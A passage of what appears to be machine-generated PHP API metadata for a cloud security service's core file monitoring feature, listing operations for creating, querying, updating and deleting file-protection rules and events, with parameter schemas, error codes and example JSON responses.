returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '149', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParameter', 'errorMessage' => 'Illegal parameter, please check the param.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"23AD0BD2-8771-5647-819E-6BA51E212F80\\",\\n \\"EventList\\": [\\n {\\n \\"AlertLevel\\": 1,\\n \\"Uuid\\": \\"94b44720-d982-4d20-a4e1-80a1a57b****\\",\\n \\"RuleName\\": \\"test-rule-1\\\\n\\",\\n \\"LatestTime\\": 1694576692000,\\n \\"Status\\": 1,\\n \\"Id\\": 161757,\\n \\"InstanceName\\": \\"kyy-admin-01\\",\\n \\"InternetIp\\": \\"121.40.XX.XX\\\\n\\",\\n \\"IntranetIp\\": \\"172.22.XX.XX\\",\\n \\"FilePath\\": \\"/etc/pam.d/su\\",\\n \\"Operation\\": \\"DELETE\\",\\n \\"Remark\\": \\"test\\",\\n \\"ProcPermission\\": \\"rwxr-xr-x\\",\\n \\"CmdLine\\": \\"[\\\\\\"touch\\\\\\",\\\\\\"/test/aaaa\\\\\\"]\\",\\n \\"ProcPath\\": \\" /usr/bin/sshpass\\",\\n \\"HandleTime\\": 1694576692000,\\n \\"ProcessId\\": \\"52636\\",\\n \\"Platform\\": \\"linux\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149\\n }\\n}","type":"json"}]', 'title' => 'ListFileProtectEvent', ], 'DeleteFileProtectRule' => [ 'summary' => 'Deletes core file monitoring rules.', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '188795', 'abilityTreeNodes' => [ 'FEATUREsas4OHMAP', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the core file monitoring rules that you want to delete.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the core file monitoring rule that you want to delete.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '11', ], 'required' => false, 'maxItems' => 100, 'minItems' => 1, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7FD1C1DC-AA67-510A-A022-5D23310C3658', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7FD1C1DC-AA67-510A-A022-5D23310C3658\\"\\n}","type":"json"}]', 'title' => 'DeleteFileProtectRule', ], 'GetFileProtectEventCount' => [ 'summary' => 'Queries the total number of core file monitoring events by filter condition.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas4OHMAP', ], ], 'parameters' => [ [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the event. Valid values:'."\n" ."\n" .'* 0: unhandled'."\n" .'* 1: handled'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', 'enum' => [ '0', '1', ], ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '9B28EC81-2FA7-5097-80D9-0DBE1A3DBD59', ], 'Data' => [ 'description' => 'The data returned if the request is successful.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '16', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9B28EC81-2FA7-5097-80D9-0DBE1A3DBD59\\",\\n \\"Data\\": 16\\n}","type":"json"}]', 'title' => 'GetFileProtectEventCount', ], 'UpdateFileProtectRemark' => [ 'summary' => 'Modify Alert Remarks', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas4OHMAP', ], ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the event.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1764', ], ], [ 'name' => 'Remark', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The remarks.', 'type' => 'array', 'items' => [ 'description' => 'The remarks.', 'type' => 'string', 'required' => false, 'example' => 'Remark测试', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'IdList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Event ID list.', 'type' => 'array', 'items' => [ 'description' => 'Event ID.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], 'required' => false, 'maxItems' => 500, ], ], [ 'name' => 'SelectAllAcrossPages', 'in' => 'query', 'schema' => [ 'description' => 'Cross-page select all indicator. Values:'."\n" .'- **true**: Yes'."\n" .'- **false**: No', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'description' => 'Asset instance ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-bp1g6wxdwps7s9dz****', ], ], [ 'name' => 'AlertLevels', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Alert notification level list.', 'type' => 'array', 'items' => [ 'description' => 'Alert notification level list. Values:'."\n" ."\n" .'1. high'."\n" .'2. medium'."\n" .'3. low', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => 'high', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'Server UUID.', 'type' => 'string', 'required' => false, 'example' => '5d55af3c-35f3-4d4d-8ccc-8c5443b0****', ], ], [ 'name' => 'InstanceName', 'in' => 'query', 'schema' => [ 'description' => 'Asset instance name.', 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'InternetIp', 'in' => 'query', 'schema' => [ 'description' => 'Public IP.', 'type' => 'string', 'required' => false, 'example' => '101.132.XX.XX', ], ], [ 'name' => 'IntranetIp', 'in' => 'query', 'schema' => [ 'description' => 'Private IP.', 'type' => 'string', 'required' => false, 'example' => '172.26.XX.XX', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'Start time timestamp.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1651290987000', ], ], [ 'name' => 'Operation', 'in' => 'query', 'schema' => [ 'description' => 'File operation type. Values:'."\n" ."\n" .'- **DELETE**: File deletion operation.'."\n" .'- **WRITE**: File write operation.'."\n" .'- **READ**: File read operation.'."\n" .'- **RENAME**: File rename operation.'."\n" .'- **CHOWN**: Set file owner and associated group operation.', 'type' => 'string', 'required' => false, 'example' => 'READ', ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'Rule name.', 'type' => 'string', 'required' => false, 'example' => 'test-rule-1', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'End time timestamp.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1649040221', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for the request, and can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '226440DF-DFCD-5B93-9951-FCF0A16A6B78', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"226440DF-DFCD-5B93-9951-FCF0A16A6B78\\"\\n}","type":"json"}]', 'title' => 'Modify Core File Monitoring Event Remarks', 'translator' => 'machine', ], 'GetFileProtectEvent' => [ 'summary' => 'Queries information about core file monitoring events.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas4OHMAP', ], ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the event.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '12', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', ], 'Data' => [ 'description' => 'The details of the returned data.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'example' => '49f1360f-62c8-4b48-a24c-5cc317656419', ], 'RuleName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'test-000', ], 'FirstTime' => [ 'description' => 'The timestamp at which the event was first detected.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1694576692000', ], 'LatestTime' => [ 'description' => 'The time when the event last occurred.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1694576692000', ], 'Status' => [ 'description' => 'The status of the event. Valid values:'."\n" ."\n" .'* 0: not handled'."\n" .'* 1: handled'."\n" .'* 2: added to the whitelist'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', 'enum' => [ '0', '1', '2', ], ], 'ProcPath' => [ 'description' => 'The path to the process.'."\n", 'type' => 'string', 'example' => '/bin/bash33', ], 'FilePath' => [ 'description' => 'The path to the file.'."\n", 'type' => 'string', 'example' => '/usr/local', ], 'CmdLine' => [ 'description' => 'The event command line.'."\n", 'type' => 'string', 'example' => '["touch","/usr/local/aaaa"]', ], 'FilePermission' => [ 'description' => 'The permissions to run the process.'."\n", 'type' => 'string', 'example' => 'rwxr-xr-x', ], 'Operation' => [ 'description' => 'The operation that the process performed on the file.'."\n", 'type' => 'string', 'example' => 'DELETE', ], 'Id' => [ 'description' => 'The ID of the event.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '55037', ], 'AlertLevel' => [ 'description' => 'The severity of alerts. Valid values:'."\n" ."\n" .'* 0: does not generate alerts'."\n" .'* 1: sends notifications'."\n" .'* 2: suspicious'."\n" .'* 3: high-risk'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', 'enum' => [ '0', '1', '2', '3', ], ], 'InstanceName' => [ 'description' => 'The name of the instance.'."\n", 'type' => 'string', 'example' => 'i-wz92q7m5hsbgfhdss***', ], 'InternetIp' => [ 'description' => 'The public IP address of the associated instance.'."\n", 'type' => 'string', 'example' => '172.16.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the associated instance.'."\n", 'type' => 'string', 'example' => '10.42.XX.XX', ], 'HandleTime' => [ 'description' => 'The time when the event was handled.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1694576692000', ], 'Remark' => [ 'description' => 'The remarks.'."\n", 'type' => 'string', 'example' => '["test"]', ], 'ProcessId' => [ 'description' => 'The process ID of the event.'."\n", 'type' => 'string', 'example' => '3453', ], 'Platform' => [ 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **windows**: Windows'."\n" .'* **linux**: Linux', 'type' => 'string', 'example' => 'linux', ], 'UserId' => [ 'description' => 'User ID of the user who started the current process.', 'type' => 'string', 'example' => '1001', ], 'UserName' => [ 'description' => 'The username that started the current process.', 'type' => 'string', 'example' => 'test', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"Data\\": {\\n \\"Uuid\\": \\"49f1360f-62c8-4b48-a24c-5cc317656419\\",\\n \\"RuleName\\": \\"test-000\\",\\n \\"FirstTime\\": 1694576692000,\\n \\"LatestTime\\": 1694576692000,\\n \\"Status\\": 1,\\n \\"ProcPath\\": \\"/bin/bash33\\",\\n \\"FilePath\\": \\"/usr/local\\",\\n \\"CmdLine\\": \\"[\\\\\\"touch\\\\\\",\\\\\\"/usr/local/aaaa\\\\\\"]\\",\\n \\"FilePermission\\": \\"rwxr-xr-x\\",\\n \\"Operation\\": \\"DELETE\\",\\n \\"Id\\": 55037,\\n \\"AlertLevel\\": 1,\\n \\"InstanceName\\": \\"i-wz92q7m5hsbgfhdss***\\",\\n \\"InternetIp\\": \\"172.16.XX.XX\\",\\n \\"IntranetIp\\": \\"10.42.XX.XX\\",\\n \\"HandleTime\\": 1694576692000,\\n \\"Remark\\": \\"[\\\\\\"test\\\\\\"]\\",\\n \\"ProcessId\\": \\"3453\\",\\n \\"Platform\\": \\"linux\\",\\n \\"UserId\\": \\"1001\\",\\n \\"UserName\\": \\"test\\"\\n }\\n}","type":"json"}]', 'title' => 'GetFileProtectEvent', 'translator' => 'machine', ], 'UpdateFileProtectRule' => [ 'summary' => 'Modifies the content of a core file monitoring rule based on the ID of the rule.', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '188815', 'abilityTreeNodes' => [ 'FEATUREsas4OHMAP', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => true, 'example' => 'test-rule-1', ], ], [ 'name' => 'ProcPaths', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The paths to the monitored processes.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the monitored process.'."\n", 'type' => 'string', 'required' => false, 'example' => '/usr/local/*', ], 'required' => true, 'maxItems' => 50, 'minItems' => 1, ], ], [ 'name' => 'FilePaths', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The paths to the monitored files. Wildcard characters are supported.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the monitored file. Wildcard characters are supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '/usr/*', ], 'required' => true, 'maxItems' => 50, 'minItems' => 1, ], ], [ 'name' => 'FileOps', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The operations that you want to perform on the files.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The operation that you want to perform on the file. Valid values:'."\n" ."\n" .'* WRITE'."\n" .'* READ'."\n" .'* DELETE'."\n" .'* RENAME'."\n" .'* CHMOD: changes permissions.'."\n", 'type' => 'string', 'required' => false, 'example' => 'WRITE', 'enum' => [ 'WRITE', 'READ', 'DELETE', 'RENAME', 'CHOWN', ], ], 'required' => true, 'maxItems' => 100, 'minItems' => 1, ], ], [ 'name' => 'RuleAction', 'in' => 'query', 'schema' => [ 'description' => 'The handling method of the rule. Valid values:'."\n" ."\n" .'* pass: allow'."\n" .'* alert'."\n", 'type' => 'string', 'required' => false, 'example' => 'pass', 'enum' => [ 'alert', 'pass', ], ], ], [ 'name' => 'AlertLevel', 'in' => 'query', 'schema' => [ 'description' => 'The severity of alerts. Valid values:'."\n" ."\n" .'* 0: does not generate alerts'."\n" .'* 1: sends notifications'."\n" .'* 2: suspicious'."\n" .'* 3: high-risk'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', 'enum' => [ '0', '1', '2', '3', ], ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the rule. Valid values:'."\n" ."\n" .'* **0**: disabled'."\n" .'* **1**: enabled'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', 'enum' => [ '0', '1', ], ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1062', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '339227F4-C9E1-526F-8347-1099C11F65FB', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"339227F4-C9E1-526F-8347-1099C11F65FB\\"\\n}","type":"json"}]', 'title' => 'UpdateFileProtectRule', ], 'ListFileProtectRule' => [ 'summary' => 'Queries core file monitoring rules.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '188626', 'abilityTreeNodes' => [ 'FEATUREsas4OHMAP', ], ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '100', 'minimum' => '1', 'example' => '10', 'default' => '10', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'minimum' => '1', 'example' => '1', 'default' => '1', ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test-rule-1', ], ], [ 'name' => 'AlertLevel', 'in' => 'query', 'schema' => [ 'description' => 'The severity of alerts. Valid values:'."\n" ."\n" .'* 0: does not generate alerts'."\n" .'* 1: sends notifications'."\n" .'* 2: suspicious'."\n" .'* 3: high-risk'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', 'enum' => [ '0', '1', '2', '3', ], ], ], [ 'name' => 'RuleAction', 'in' => 'query', 'schema' => [ 'description' => 'The handling method of the rule. Valid values:'."\n" ."\n" .'* pass: allow'."\n" .'* alert'."\n", 'type' => 'string', 'required' => false, 'example' => 'pass', ], ], [ 'name' => 'Platform', 'in' => 'query', 'schema' => [ 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **windows**: Windows'."\n" .'* **linux**: Linux', 'type' => 'string', 'required' => false, 'example' => 'linux', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'FBBEB173-1F43-505F-A876-C03ECDF6CE4C', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '253', ], ], ], 'FileProtectList' => [ 'description' => 'The details of returned data.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the rule. Valid values:'."\n" ."\n" .'* 0: disabled'."\n" .'* 1: enabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AlertLevel' => [ 'description' => 'The severity of alerts. Valid values:'."\n" ."\n" .'* 0: does not generate alerts'."\n" .'* 1: sends notifications'."\n" .'* 2: suspicious'."\n" .'* 3: high-risk'."\n", 'type' => 'string', 'example' => '0', ], 'SwitchId' => [ 'description' => 'The switch ID of the rule.'."\n", 'type' => 'string', 'example' => 'FILE_PROTECT_RULE_SWITCH_TYPE_1693474122927', ], 'Id' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1412511', ], 'FileOps' => [ 'description' => 'The operations performed on the files.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The operation performed on the file. Valid values:'."\n" ."\n" .'* WRITE'."\n" .'* READ'."\n" .'* DELETE'."\n" .'* RENAME'."\n" .'* CHMOD: change permissions'."\n", 'type' => 'string', 'example' => 'READ', ], ], 'Action' => [ 'description' => 'The handling method of the rule. Valid values:'."\n" ."\n" .'* pass: allow'."\n" .'* alert'."\n", 'type' => 'string', 'example' => 'pass', ], 'FilePaths' => [ 'description' => 'The paths to the monitored files. Wildcard characters are supported.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the monitored file.'."\n", 'type' => 'string', 'example' => '/usr/*', ], ], 'ProcPaths' => [ 'description' => 'The paths to the monitored processes. Wildcard characters are supported.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the monitored process.'."\n", 'type' => 'string', 'example' => '/usr/local/*', ], ], 'RuleName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'test11', ], 'GmtCreate' => [ 'description' => 'The time when the rule was created.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1682304179000', ], 'GmtModified' => [ 'description' => 'The time when the rule was last modified.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1682304179000', ], 'EffectInstanceCount' => [ 'description' => 'The total number of affected assets.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '12', ], 'Platform' => [ 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **windows**: Windows'."\n" .'* **linux**: Linux', 'type' => 'string', 'example' => 'linux', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FBBEB173-1F43-505F-A876-C03ECDF6CE4C\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 253\\n },\\n \\"FileProtectList\\": [\\n {\\n \\"Status\\": 1,\\n \\"AlertLevel\\": \\"0\\",\\n \\"SwitchId\\": \\"FILE_PROTECT_RULE_SWITCH_TYPE_1693474122927\\",\\n \\"Id\\": 1412511,\\n \\"FileOps\\": [\\n \\"READ\\"\\n ],\\n \\"Action\\": \\"pass\\",\\n \\"FilePaths\\": [\\n \\"/usr/*\\"\\n ],\\n \\"ProcPaths\\": [\\n \\"/usr/local/*\\"\\n ],\\n \\"RuleName\\": \\"test11\\",\\n \\"GmtCreate\\": 1682304179000,\\n \\"GmtModified\\": 1682304179000,\\n \\"EffectInstanceCount\\": 12,\\n \\"Platform\\": \\"linux\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListFileProtectRule', ], 'CreateFileProtectRule' => [ 'summary' => 'Creates a core file monitoring rule.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '188597', 'abilityTreeNodes' => [ 'FEATUREsas4OHMAP', ], ], 'parameters' => [ [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => true, 'example' => 'tetsRule', ], ], [ 'name' => 'ProcPaths', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The paths to the processes that you want to monitor. Wildcard characters are supported.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the process that you want to monitor.'."\n", 'type' => 'string', 'required' => false, 'example' => '/usr/local/*', ], 'required' => true, 'maxItems' => 50, 'minItems' => 1, ], ], [ 'name' => 'FilePaths', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The paths to the files that you want to monitor. Wildcard characters are supported.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the file that you want to monitor.'."\n", 'type' => 'string', 'required' => false, 'example' => '/usr/*', ], 'required' => true, 'maxItems' => 50, 'minItems' => 1, ], ], [ 'name' => 'FileOps', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The operations that you want to perform on the files.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The operation that you want to perform on the file. Valid values:'."\n" ."\n" .'* WRITE'."\n" .'* READ'."\n" .'* DELETE'."\n" .'* RENAME'."\n" .'* CHMOD: change permissions'."\n", 'type' => 'string', 'required' => false, 'example' => 'CHMOD', 'enum' => [ 'WRITE', 'READ', 'DELETE', 'RENAME', 'CHMOD', ], ], 'required' => true, 'maxItems' => 100, 'minItems' => 1, ], ], [ 'name' => 'RuleAction', 'in' => 'query', 'schema' => [ 'description' => 'The handling method of the rule. Valid values:'."\n" ."\n" .'* pass: allow'."\n" .'* alert'."\n", 'type' => 'string', 'required' => true, 'example' => 'pass', 'enum' => [ 'alert', 'pass', ], ], ], [ 'name' => 'AlertLevel', 'in' => 'query', 'schema' => [ 'description' => 'The severity of alerts. Valid values:'."\n" ."\n" .'* 0: does not generate alerts'."\n" .'* 1: sends notifications'."\n" .'* 2: suspicious'."\n" .'* 3: high-risk'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', 'enum' => [ '0', '1', '2', '3', ], ], ], [ 'name' => 'SwitchId', 'in' => 'query', 'schema' => [ 'description' => 'The switch ID of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'FILE_PROTECT_RULE_SWITCH_TYPE_0000', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the rule. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', 'enum' => [ '0', '1', ], ], ], [ 'name' => 'Platform', 'in' => 'query', 'schema' => [ 'type' => 'string', 'required' => false, 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **windows**: Windows'."\n" .'* **linux**: Linux', 'example' => 'linux', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'EC7C8984-D108-516F-9D36-3DF1D1228CCA', ], 'RuleId' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InvalidFilePath', 'errorMessage' => 'Invalid FilePath value.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"EC7C8984-D108-516F-9D36-3DF1D1228CCA\\",\\n \\"RuleId\\": 123\\n}","type":"json"}]', 'title' => 'CreateFileProtectRule', ], 'GetFileProtectRule' => [ 'summary' => 'Queries the information about a core file monitoring rule based on the ID of the rule.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 